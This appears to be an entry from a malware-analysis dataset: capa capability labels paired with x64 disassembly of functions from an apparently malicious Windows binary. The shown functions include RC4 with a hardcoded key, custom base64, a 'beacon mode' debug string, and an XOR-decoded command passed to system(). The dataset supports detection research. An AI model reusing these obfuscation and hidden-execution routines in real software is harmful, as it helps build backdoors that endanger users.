joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003990
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
xor r14d, r14d
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
lea ebp, [r14 + 7]
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
lea rsi, [0x140043a48]
mov rdx, rsi
call fcn.1400024b8
nop
mov qword [rdi + 0x20], r14
mov byte [rdi + 0x28], r14b
lea rcx, [rdi + 0x30]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], r14
mov rdx, rbx
call fcn.1400027d0
nop
lea rcx, [rdi + 0x50]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x70]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x90]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0xb0]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
mov qword [rdi + 0xd0], r14
mov dword [rdi + 0xd8], r14d
mov qword [rdi + 0xe0], r14
mov dword [rdi + 0xe8], r14d
lea rcx, [rdi + 0xf0]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x110]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
mov qword [rdi + 0x130], r14
mov dword [rdi + 0x138], r14d
mov qword [rdi + 0x140], r14
mov qword [rdi + 0x150], r14
mov qword [rdi + 0x158], rbp
mov word [rdi + 0x140], r14w
lea rcx, [rdi + 0x160]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x180]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
mov dword [rdi + 0x1a0], r14d
lea rcx, [rdi + 0x1a8]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
lea rdx, [0x140043a50]
call fcn.1400024b8
nop
mov byte [rdi + 0x1c8], r14b
lea rcx, [rdi + 0x1d0]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x1f0]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
nop
lea rcx, [rdi + 0x210]
mov qword [rcx], r14
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], rbp
mov word [rcx], r14w
mov rdx, rsi
call fcn.1400024b8
mov dword [rdi + 0x230], r14d
mov dword [rdi + 0x234], 0xea60
mov eax, 0x7530
mov dword [rdi + 0x238], eax
mov dword [rdi + 0x23c], eax
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140004f1c
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
lea eax, [r8 - 2]
mov r10, rdx
xor edx, edx
movsxd rcx, eax
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdi, r9
test eax, eax
jle 0x140004fd1
dec rcx
lea rbx, [r10 + 2]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
lea r11, [rdx + 1]
lea edx, [r11 + r11*2]
movzx eax, byte [rbx - 2]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [rbx - 2]
movzx eax, byte [rbx - 1]
and ecx, 3
shr rax, 4
shl rcx, 4
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 1], al
movsx rcx, byte [rbx - 1]
movzx eax, byte [rbx]
and ecx, 0xf
shr rax, 6
shl rcx, 2
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 2], al
movsx rax, byte [rbx]
lea rbx, [rbx + 3]
and eax, 0x3f
mov al, byte [rax + r14]
mov byte [r9 + 3], al
add r9, 4
sub r11, 1
jne 0x140004f68
movsxd rax, edx
sub r8d, edx
add r10, rax
test r8b, 2
je 0x140005025
movzx eax, byte [r10]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [r10]
movzx eax, byte [r10 + 1]
and ecx, 3
shr rax, 4
shl rcx, 4
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 1], al
movsx rax, byte [r10 + 1]
and eax, 0xf
mov al, byte [r14 + rax*4]
mov byte [r9 + 2], al
mov byte [r9 + 3], 0x3d
jmp 0x140005053
test r8b, 1
je 0x140005057
movzx eax, byte [r10]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [r10]
and ecx, 3
add rcx, rcx
mov cl, byte [r14 + rcx*8]
mov byte [r9 + 1], cl
mov word [r9 + 2], 0x3d3d
add r9, 4
mov rbx, qword [rsp + 8]
mov rax, rdi
mov rdi, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov byte [r9], 0
ret
Function at 0x14000508c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
and dword [rcx + 0x214], 0
lea r11, str.lkPOXjbfe320
and dword [rcx + 0x218], 0
mov r10, rdx
and dword [rcx + 0x210], 0
mov r8, rcx
or r9, 0xffffffffffffffff
mov rax, r9
inc rax
cmp byte [r11 + rax], 0
jne 0x1400050ba
and dword [rcx + 0x20c], 0
mov dword [rcx + 0x21c], eax
movsxd rcx, dword [r8 + 0x20c]
mov eax, ecx
cdq
idiv dword [r8 + 0x21c]
movsxd rax, edx
mov al, byte [rax + r11]
mov byte [rcx + r8 + 0x108], al
movsxd rcx, dword [r8 + 0x20c]
mov al, byte [r8 + 0x20c]
mov byte [rcx + r8 + 8], al
inc dword [r8 + 0x20c]
cmp dword [r8 + 0x20c], 0x100
jl 0x1400050d1
and dword [r8 + 0x20c], 0
xor edx, edx
xor r11d, r11d
movsxd rbx, edx
movzx eax, byte [rbx + r8 + 8]
movzx ecx, byte [rbx + r8 + 0x108]
add ecx, eax
add ecx, dword [r8 + 0x210]
movzx eax, cl
mov dword [r8 + 0x210], eax
cmp edx, eax
je 0x14000518f
mov cl, byte [rax + r8 + 8]
xor byte [rbx + r8 + 8], cl
movsxd rax, dword [r8 + 0x20c]
movsxd rdx, dword [r8 + 0x210]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x210]
movsxd rdx, dword [r8 + 0x20c]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
mov r11d, dword [r8 + 0x20c]
lea edx, [r11 + 1]
mov dword [r8 + 0x20c], edx
mov r11d, edx
cmp edx, 0x100
jl 0x140005125
inc r9
cmp byte [r10 + r9], 0
jne 0x1400051a5
and dword [r8 + 0x20c], 0
mov dword [r8 + 0x21c], r9d
test r9d, r9d
jle 0x1400052ac
xor r9d, r9d
mov eax, dword [r8 + 0x214]
inc eax
movzx r11d, al
mov dword [r8 + 0x214], r11d
movzx eax, byte [r11 + r8 + 8]
add eax, dword [r8 + 0x218]
movzx ecx, al
mov dword [r8 + 0x218], ecx
cmp r11d, ecx
je 0x140005249
mov cl, byte [rcx + r8 + 8]
xor byte [r11 + r8 + 8], cl
movsxd rax, dword [r8 + 0x214]
movsxd rdx, dword [r8 + 0x218]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x218]
movsxd rdx, dword [r8 + 0x214]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
mov ecx, dword [r8 + 0x218]
mov r11d, dword [r8 + 0x214]
mov r9d, dword [r8 + 0x20c]
movsxd rax, ecx
movsxd r9, r9d
movzx edx, byte [rax + r8 + 8]
movsxd rax, r11d
movzx ecx, byte [rax + r8 + 8]
add rdx, rcx
movzx eax, dl
movzx r11d, byte [rax + r8 + 8]
mov byte [r8 + 0x208], r11b
movsx edx, byte [r9 + r10]
cmp r11d, edx
jne 0x14000528a
mov byte [r8 + 0x208], 0
xor r11b, r11b
mov dl, byte [r9 + r10]
xor dl, r11b
mov byte [r9 + r10], dl
inc dword [r8 + 0x20c]
mov r9d, dword [r8 + 0x20c]
cmp r9d, dword [r8 + 0x21c]
jl 0x1400051ca
mov rbx, qword [rsp + 8]
mov rax, r10
ret
Function at 0x1400061bc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rbx, r8
mov rsi, rdx
xor edi, edi
mov qword [rsp + 0x48], rdi
movdqa xmm0, xmmword [0x140044d40]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.1400024b8
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140003990
nop
lea rcx, [rsp + 0x48]
call fcn.1400025b8
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140006030
mov byte [rbp - 0x68], dil
mov qword [rsp + 0x28], rdi
movdqa xmm0, xmmword [0x140044d40]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], di
lea rdx, str.Pragma:_no_cache_r_n
lea rcx, [rsp + 0x28]
call fcn.1400024b8
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0xb0]
call fcn.14000d3b0
nop
lea rcx, [rsp + 0x28]
call fcn.1400025b8
mov qword [rsp + 0x28], rdi
movdqa xmm0, xmmword [0x140044d40]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], di
lea rdx, [0x140044350]
lea rcx, [rsp + 0x28]
call fcn.1400024b8
nop
xor r8d, r8d
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x70]
call fcn.140003cdc
nop
lea rcx, [rsp + 0x28]
call fcn.1400025b8
lea rcx, [rsp + 0x70]
call fcn.14000f790
test al, al
jne 0x140006373
lea ecx, [rdi + 5]
call fcn.14000596c
mov qword [rsp + 0x28], rdi
movdqa xmm0, xmmword [0x140044d40]
movdqu xmmword [rsp + 0x38], xmm0
mov rdx, rsi
lea rcx, [rsp + 0x28]
call fcn.1400024b8
cmp qword [rbp + 0x40], rdi
je 0x140006363
cmp dword [rbp + 0x48], edi
jbe 0x140006363
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 8
cmovae rdx, qword [rsp + 0x28]
lea r8, [0x14004448c]
lea rcx, [rsp + 0x20]
call fcn.14001bbb4
test eax, eax
jne 0x140006363
mov r9, qword [rsp + 0x20]
test r9, r9
je 0x140006363
mov edx, dword [rbp + 0x48]
lea r8d, [rdi + 1]
mov rcx, qword [rbp + 0x40]
call fcn.14001be64
mov rcx, qword [rsp + 0x20]
call fcn.14001bf6c
mov bl, dil
jmp 0x140006365
mov bl, 1
lea rcx, [rsp + 0x28]
call fcn.1400025b8
test bl, bl
je 0x140006378
mov edi, 1
lea rcx, [rsp + 0x70]
call fcn.140003bf4
mov eax, edi
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140010040
mov rbx, qword [rsp + 0x2f8]
add rsp, 0x2c0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140006bf0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
call fcn.14001b9f8
mov dword [0x14004bd88], eax
cdqe
lea rcx, str.set_beacon_mode:
lea rcx, [rcx + rax*2]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
mov dword [0x14004e1d4], 1
mov byte [0x14004e404], 1
add rsp, 0x28
ret
Function at 0x14000ad2c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
mov qword [rsp + 0x30], rcx
mov rbx, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x1fe
call fcn.1400134d0
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0xff
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ecx, ecx
mov qword [rsi + 0x18], 7
mov qword [rsi], rcx
lea rdx, [rsp + 0x40]
mov qword [rsi + 0x10], rcx
mov word [rsi], cx
mov rcx, rsi
test eax, eax
je 0x14000adbe
lea rdx, [0x140043a48]
call fcn.1400024b8
mov rax, rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140010040
add rsp, 0x250
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000bd60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x14000bd99
xor eax, eax
jmp 0x14000bebb
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x14000bdd3
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x14000bdd3
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x14000bebb
cmp qword [rbx + 0x80], 0
je 0x14000beb9
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000be0e
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000be31
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14001c134
cmp eax, edi
cmovne edi, esi
jmp 0x14000beb9
lea r8, [rbp - 0x38]
mov byte [rbp - 0x40], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x3f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x40]
call qword [rax + gethostname]
test eax, eax
je 0x14000be7f
sub eax, 1
je 0x14000be7f
cmp eax, 2
jne 0x14000beb9
movsx ecx, byte [rbp - 0x40]
jmp 0x14000be1b
mov r14, qword [rbp - 0x38]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x14000bea9
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14001be64
cmp r14, rax
jne 0x14000beb9
lea rax, [rbp - 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x30], rax
mov eax, esi
jne 0x14000bebb
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140010040
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000d844
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000d8b3
cmp byte [rcx + 0x71], 0
je 0x14000d8b3
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000d907
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x14000d8cd
sub eax, 1
je 0x14000d8d1
cmp eax, 2
jne 0x14000d907
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010040
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000d8fe
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.14001be64
cmp rdi, rax
jne 0x14000d907
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000d8b5
xor al, al
jmp 0x14000d8b5

Function at 0x140017be8
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140017a7b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017a7b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017a7b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017a7b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017a7b
cmp dword [rcx + 0x84], 0xe
jbe 0x140017a7b
cmp dword [rcx + 0xf8], 0
je 0x140017a7b
mov ecx, ebx
call fcn.140017b1c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14001790c
cmp dword [rbp + 0x20], 0
je 0x140017ac8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140017ad0
int3
xor r8d, r8d
xor edx, edx
jmp 0x140017a14
Function at 0x140003790
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x88
movups xmm1, xmmword [0x14009ebd0]
movups xmm0, xmmword [str._TESPVW]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x30], xmm0
test al, al
je 0x14000398f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140003950
movdqa xmm0, xmmword [0x1400a0830]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400a0790]
mov eax, 4
movdqa xmm4, xmmword [0x1400a0860]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x1400a07b0]
movd xmm6, eax
mov eax, Ordinal_33
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a0810]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0810]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140003830
movaps xmm8, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x88
ret
lea r8, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x34
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x20
jl 0x140003960
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x88
ret
Function at 0x140004f70
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140004f98
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140004fbe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004fc0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005019
test ecx, ecx
jle 0x140004ff9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005019
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005019
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140005040
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140005062
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140005078
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005094
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005096
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400050d2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000516e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000510d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000514e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000516e
cmp rbx, rax
ja 0x140005120
test rbx, rbx
je 0x14000516e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400055a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400ae080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400055cd
xor eax, eax
jmp 0x140005739
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005607
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005607
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005739
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000572c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000564a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005675
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005731
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400056e4
sub eax, 1
je 0x1400056e4
cmp eax, 2
jne 0x14000572c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
